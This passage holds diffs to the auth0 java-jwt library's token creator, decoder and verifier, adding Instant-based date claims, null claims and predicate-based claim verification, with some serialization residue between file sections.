+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload.
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Date issuedAt) {
-            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
+            return this;
+        }
+
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param issuedAt the Issued At value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuedAt(Instant issuedAt) {
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -179,7 +220,7 @@ public Builder withIssuedAt(Date issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withJWTId(String jwtId) {
-            addClaim(PublicClaims.JWT_ID, jwtId);
+            addClaim(RegisteredClaims.JWT_ID, jwtId);
             return this;
         }
 
@@ -254,7 +295,8 @@ public Builder withClaim(String name, String value) throws IllegalArgumentExcept
         }
 
         /**
-         * Add a custom Claim value.
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param name  the Claim's name.
          * @param value the Claim's value.
@@ -268,44 +310,17 @@ public Builder withClaim(String name, Date value) throws IllegalArgumentExceptio
         }
 
         /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param name  the Claim's name.
-         * @param items the Claim's value.
+         * @param value the Claim's value.
          * @return this same Builder instance.
          * @throws IllegalArgumentException if the name is null.
          */
-        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null
-         */
-        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+        public Builder withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            addClaim(name, items);
+            addClaim(name, value);
             return this;
         }
 
@@ -326,7 +341,8 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
             assertNonNull(name);
             // validate map contents
             if (map != null && !validateClaim(map)) {
-                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, map);
             return this;
@@ -345,42 +361,99 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
          * @return this same Builder instance.
          * @throws IllegalArgumentException if the name is null, or if the list contents does not validate.
          */
-
         public Builder withClaim(String name, List<?> list) throws IllegalArgumentException {
             assertNonNull(name);
             // validate list contents
             if (list != null && !validateClaim(list)) {
-                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, list);
             return this;
         }
 
+        /**
+         * Add a custom claim with null value.
+         *
+         * @param name the Claim's name.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withNullClaim(String name) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, null);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
          * <p>
          * Accepted types are {@linkplain Map} and {@linkplain List} with basic types
          * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
-         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
-         * {@linkplain List}s can contain null elements.
+         * {@linkplain String} and {@linkplain Date}.
+         * {@linkplain Map}s and {@linkplain List}s can contain null elements.
          * </p>
          *
          * <p>
          * If any of the claims are invalid, none will be added.
          * </p>
          *
          * @param payloadClaims the values to use as Claims in the token's payload.
-         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
          * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
          */
         public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
             if (payloadClaims == null) {
                 return this;
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
+                        + "Long, Double, String, Date, Instant, and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -401,7 +474,7 @@ private boolean validatePayload(Map<String, ?> payload) {
                     return false;
                 } else if (value instanceof Map && !validateClaim((Map<?, ?>) value)) {
                     return false;
-                } else if (value != null && !isSupportedType(value)) {
+                } else if (!isSupportedType(value)) {
                     return false;
                 }
             }
@@ -412,7 +485,7 @@ private static boolean validateClaim(Map<?, ?> map) {
             // do not accept null values in maps
             for (Entry<?, ?> entry : map.entrySet()) {
                 Object value = entry.getValue();
-                if (value == null || !isSupportedType(value)) {
+                if (!isSupportedType(value)) {
                     return false;
                 }
 
@@ -426,7 +499,7 @@ private static boolean validateClaim(Map<?, ?> map) {
         private static boolean validateClaim(List<?> list) {
             // accept null values in list
             for (Object object : list) {
-                if (object != null && !isSupportedType(object)) {
+                if (!isSupportedType(object)) {
                     return false;
                 }
             }
@@ -444,29 +517,35 @@ private static boolean isSupportedType(Object value) {
         }
 
         private static boolean isBasicType(Object value) {
-            Class<?> c = value.getClass();
+            if (value == null) {
+                return true;
+            } else {
+                Class<?> c = value.getClass();
 
-            if (c.isArray()) {
-                return c == Integer[].class || c == Long[].class || c == String[].class;
+                if (c.isArray()) {
+                    return c == Integer[].class || c == Long[].class || c == String[].class;
+                }
+                return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                        || c == Date.class || c == Instant.class || c == Boolean.class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Boolean.class;
         }
 
         /**
-         * Creates a new JWT and signs is with the given algorithm
+         * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm used to sign the JWT
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
-         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON
+         *                                  or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
-            headerClaims.put(PublicClaims.ALGORITHM, algorithm.getName());
-            if (!headerClaims.containsKey(PublicClaims.TYPE)) {
-                headerClaims.put(PublicClaims.TYPE, "JWT");
+            headerClaims.put(HeaderParams.ALGORITHM, algorithm.getName());
+            if (!headerClaims.containsKey(HeaderParams.TYPE)) {
+                headerClaims.put(HeaderParams.TYPE, "JWT");
             }
             String signingKeyId = algorithm.getSigningKeyId();
             if (signingKeyId != null) {
@@ -482,19 +561,18 @@ private void assertNonNull(String name) {
         }
 
         private void addClaim(String name, Object value) {
-            if (value == null) {
-                payloadClaims.remove(name);
-                return;
-            }
             payloadClaims.put(name, value);
         }
     }
 
     private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
         return String.format("%s.%s.%s", header, payload, signature);u     }(jG  (cc283095f25e9231c857ca94330a5ef73c1a8a05j  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X  @@ -9,6 +9,7 @@
 
 import java.io.Serializable;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.List;
@@ -41,7 +42,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
             payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
-        } catch (IllegalArgumentException e){
+        } catch (IllegalArgumentException e) {
             throw new JWTDecodeException("The input is not a valid base 64 encoded string.", e);
         }
         header = converter.parseHeader(headerJson);
@@ -93,16 +94,31 @@ public Date getExpiresAt() {
         return payload.getExpiresAt();
     }
 
+    @Override
+    public Instant getExpiresAtAsInstant() {
+        return payload.getExpiresAtAsInstant();
+    }
+
     @Override
     public Date getNotBefore() {
         return payload.getNotBefore();
     }
 
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return  payload.getNotBeforeAsInstant();
+    }
+
     @Override
     public Date getIssuedAt() {
         return payload.getIssuedAt();
     }
 
+    @Override
+    public Instant getIssuedAtAsInstant() {
+        return payload.getIssuedAtAsInstant();
+    }
+
     @Override
     public String getId() {
         return payload.getId();u}(jG  (0bc17fb195e45ed7da8c026fcf3143faf0895005j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  Mj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X`x  @@ -3,88 +3,122 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.JWTParser;
-import com.auth0.jwt.impl.NullClaim;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.impl.ExpectedCheckHolder;
 import com.auth0.jwt.interfaces.Verification;
 
+import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
 import java.util.*;
-import java.util.stream.Collectors;
+import java.util.function.BiPredicate;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
+ * but also its signature matches.
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.interfaces.JWTVerifier
  */
-@SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> claims;
-    private final Clock clock;
+    final List<ExpectedCheckHolder> expectedChecks;
     private final JWTParser parser;
 
-    static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
-    static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
-
-    JWTVerifier(Algorithm algorithm, Map<String, Object> claims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, List<ExpectedCheckHolder> expectedChecks) {
         this.algorithm = algorithm;
-        this.claims = Collections.unmodifiableMap(claims);
-        this.clock = clock;
+        this.expectedChecks = Collections.unmodifiableList(expectedChecks);
         this.parser = new JWTParser();
     }
 
     /**
-     * Initialize a JWTVerifier instance using the given Algorithm.
+     * Initialize a {@link Verification} instance using the given Algorithm.
      *
      * @param algorithm the Algorithm to use on the JWT verification.
-     * @return a JWTVerifier.Verification instance to configure.
+     * @return a {@link Verification} instance to configure.
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> claims;
+        private final List<ExpectedCheckHolder> expectedChecks;
         private long defaultLeeway;
+        private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
+        private Clock clock;
 
         BaseVerification(Algorithm algorithm) throws IllegalArgumentException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
 
             this.algorithm = algorithm;
-            this.claims = new HashMap<>();
+            this.expectedChecks = new ArrayList<>();
+            this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
-            requireClaim(PublicClaims.ISSUER, isNullOrEmpty(issuer) ? null : Arrays.asList(issuer));
+            List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
+            addCheck(RegisteredClaims.ISSUER, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (value == null || !value.contains(claim.asString())) {
+                    throw new IncorrectClaimException(
+                            "The Claim 'iss' value doesn't match the required issuer.", RegisteredClaims.ISSUER, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withSubject(String subject) {
-            requireClaim(PublicClaims.SUBJECT, subject);
+            addCheck(RegisteredClaims.SUBJECT, (claim, decodedJWT) ->
+                    verifyNull(claim, subject) || subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
-            claims.remove(AUDIENCE_CONTAINS);
-            requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, true)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            RegisteredClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            claims.remove(AUDIENCE_EXACT);
-            requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
+                if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, false)) {
+                    throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
+                            RegisteredClaims.AUDIENCE, claim);
+                }
+                return true;
+            }));
             return this;
         }
 
@@ -98,21 +132,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(RegisteredClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(RegisteredClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(RegisteredClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -124,95 +158,214 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            requireClaim(PublicClaims.JWT_ID, jwtId);
+            addCheck(RegisteredClaims.JWT_ID, ((claim, decodedJWT) ->
+                    verifyNull(claim, jwtId) || jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, NonEmptyClaim.getInstance());
+            //since addCheck already checks presence, we just return true
+            withClaim(name, ((claim, decodedJWT) -> true));
+            return this;
+        }
+
+        @Override
+        public Verification withNullClaim(String name) throws IllegalArgumentException {
+            assertNonNull(name);
+            withClaim(name, ((claim, decodedJWT) -> claim.isNull()));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Date value) throws IllegalArgumentException {
+            return withClaim(name, value != null ? value.toInstant() : null);
+        }
+
+        @Override
+        public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
+            assertNonNull(name);
+            // Since date-time claims are serialized as epoch seconds,
+            // we need to compare them with only seconds-granularity
+            addCheck(name,
+                    ((claim, decodedJWT) -> verifyNull(claim, value)
+                            || value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
+            return this;
+        }
+
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)
+                throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, predicate)
+                    || predicate.test(claim, decodedJWT)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public JWTVerifier build() {
-            return this.build(new ClockImpl());
+            return this.build(Clock.systemUTC());
         }
 
         /**
          * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
          * ONLY FOR TEST PURPOSES.
          *
          * @param clock the instance that will handle the current time.
-         * @return a new JWTVerifier instance with a custom Clock.
+         * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
-            addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, claims, clock);
+            this.clock = clock;
+            addMandatoryClaimChecks();
+            return new JWTVerifier(algorithm, expectedChecks);
+        }
+
+        /**
+         * Fetches the Leeway set for claim or returns the {@link BaseVerification#defaultLeeway}.
+         *
+         * @param name Claim for which leeway is fetched
+         * @return Leeway value set for the claim
+         */
+        public long getLeewayFor(String name) {
+            return customLeeways.getOrDefault(name, defaultLeeway);
+        }
+
+        private void addMandatoryClaimChecks() {
+            long expiresAtLeeway = getLeewayFor(RegisteredClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(RegisteredClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(RegisteredClaims.ISSUED_AT);
+
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
+            if (!ignoreIssuedAt) {
+                expectedChecks.add(constructExpectedCheck(RegisteredClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(RegisteredClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
+            }
+        }
+
+        private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimValue) {
+            List<Object> claimArr;
+            Object[] claimAsObject = claim.as(Object[].class);
+
+            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
+            if (expectedClaimValue instanceof Long[]) {
+                // convert Integers to Longs for comparison with equals
+                claimArr = new ArrayList<>(claimAsObject.length);
+                for (Object cao : claimAsObject) {
+                    if (cao instanceof Integer) {
+                        claimArr.add(((Integer) cao).longValue());
+                    } else {
+                        claimArr.add(cao);
+                    }
+                }
+            } else {
+                claimArr = Arrays.asList(claim.as(Object[].class));
+            }
+            List<Object> valueArr = Arrays.asList(expectedClaimValue);
+            return claimArr.containsAll(valueArr);
+        }
+
+        private boolean assertValidInstantClaim(String claimName, Claim claim, long leeway, boolean shouldBeFuture) {
+            Instant claimVal = claim.asInstant();
+            Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            boolean isValid;
+            if (shouldBeFuture) {
+                isValid = assertInstantIsFuture(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal), claimVal);
+                }
+            } else {
+                isValid = assertInstantIsPast(claimVal, leeway, now);
+                if (!isValid) {
+                    throw new IncorrectClaimException(
+                            String.format("The Token can't be used before %s.", claimVal), claimName, claim);
+                }
+            }
+            return true;
+        }
+
+        private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+            return !(claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal));
+        }
+
+        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+            return !(claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal));
+        }
+
+        private boolean assertValidAudienceClaim(
+                List<String> audience,
+                List<String> values,
+                boolean shouldContainAll
+        ) {
+            return !(audience == null || (shouldContainAll && !audience.containsAll(values))
+                    || (!shouldContainAll && Collections.disjoint(audience, values)));
         }
 
         private void assertPositive(long leeway) {
@@ -227,43 +380,46 @@ private void assertNonNull(String name) {
             }
         }
 
-        private void addLeewayToDateClaims() {
-            if (!claims.containsKey(PublicClaims.EXPIRES_AT)) {
-                claims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
-            }
-            if (!claims.containsKey(PublicClaims.NOT_BEFORE)) {
-                claims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
-            }
-            if (ignoreIssuedAt) {
-                claims.remove(PublicClaims.ISSUED_AT);
-                return;
-            }
-            if (!claims.containsKey(PublicClaims.ISSUED_AT)) {
-                claims.put(PublicClaims.ISSUED_AT, defaultLeeway);
-            }
+        private void addCheck(String name, BiPredicate<Claim, DecodedJWT> predicate) {
+            expectedChecks.add(constructExpectedCheck(name, (claim, decodedJWT) -> {
+                if (claim.isMissing()) {
+                    throw new MissingClaimException(name);
+                }
+                return predicate.test(claim, decodedJWT);
+            }));
         }
 
-        private void requireClaim(String name, Object value) {
-            if (value == null) {
-                claims.remove(name);
-                return;
-            }
-            claims.put(name, value);
+        private ExpectedCheckHolder constructExpectedCheck(String claimName, BiPredicate<Claim, DecodedJWT> check) {
+            return new ExpectedCheckHolder() {
+                @Override
+                public String getClaimName() {
+                    return claimName;
+                }
+
+                @Override
+                public boolean verify(Claim claim, DecodedJWT decodedJWT) {
+                    return check.test(claim, decodedJWT);
+                }
+            };
         }
-    }
 
-    private static boolean isNullOrEmpty(String[] args) {
-        if (args == null || args.length == 0) {
-            return true;
+        private boolean verifyNull(Claim claim, Object value) {
+            return value == null && claim.isNull();
         }
-        boolean isAllNull = true;
-        for (String arg : args) {
-            if (arg != null) {
-                isAllNull = false;
-                break;
+
+        private boolean isNullOrEmpty(String[] args) {
+            if (args == null || args.length == 0) {
+                return true;
+            }
+            boolean isAllNull = true;
+            for (String arg : args) {
+                if (arg != null) {
+                    isAllNull = false;
+                    break;
+                }
             }
+            return isAllNull;
         }
-        return isAllNull;
     }
 
 
@@ -272,10 +428,12 @@ private static boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(String token) throws JWTVerificationException {
@@ -288,172 +446,44 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
-     * @throws InvalidClaimException          if a claim contained a different value than the expected one.
+     * @throws MissingClaimException          if a claim to be verified is missing.
+     * @throws IncorrectClaimException        if a claim contained a different value than the expected one.
      */
     @Override
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, claims);
+        verifyClaims(jwt, expectedChecks);
         return jwt;
     }
 
     private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
         if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
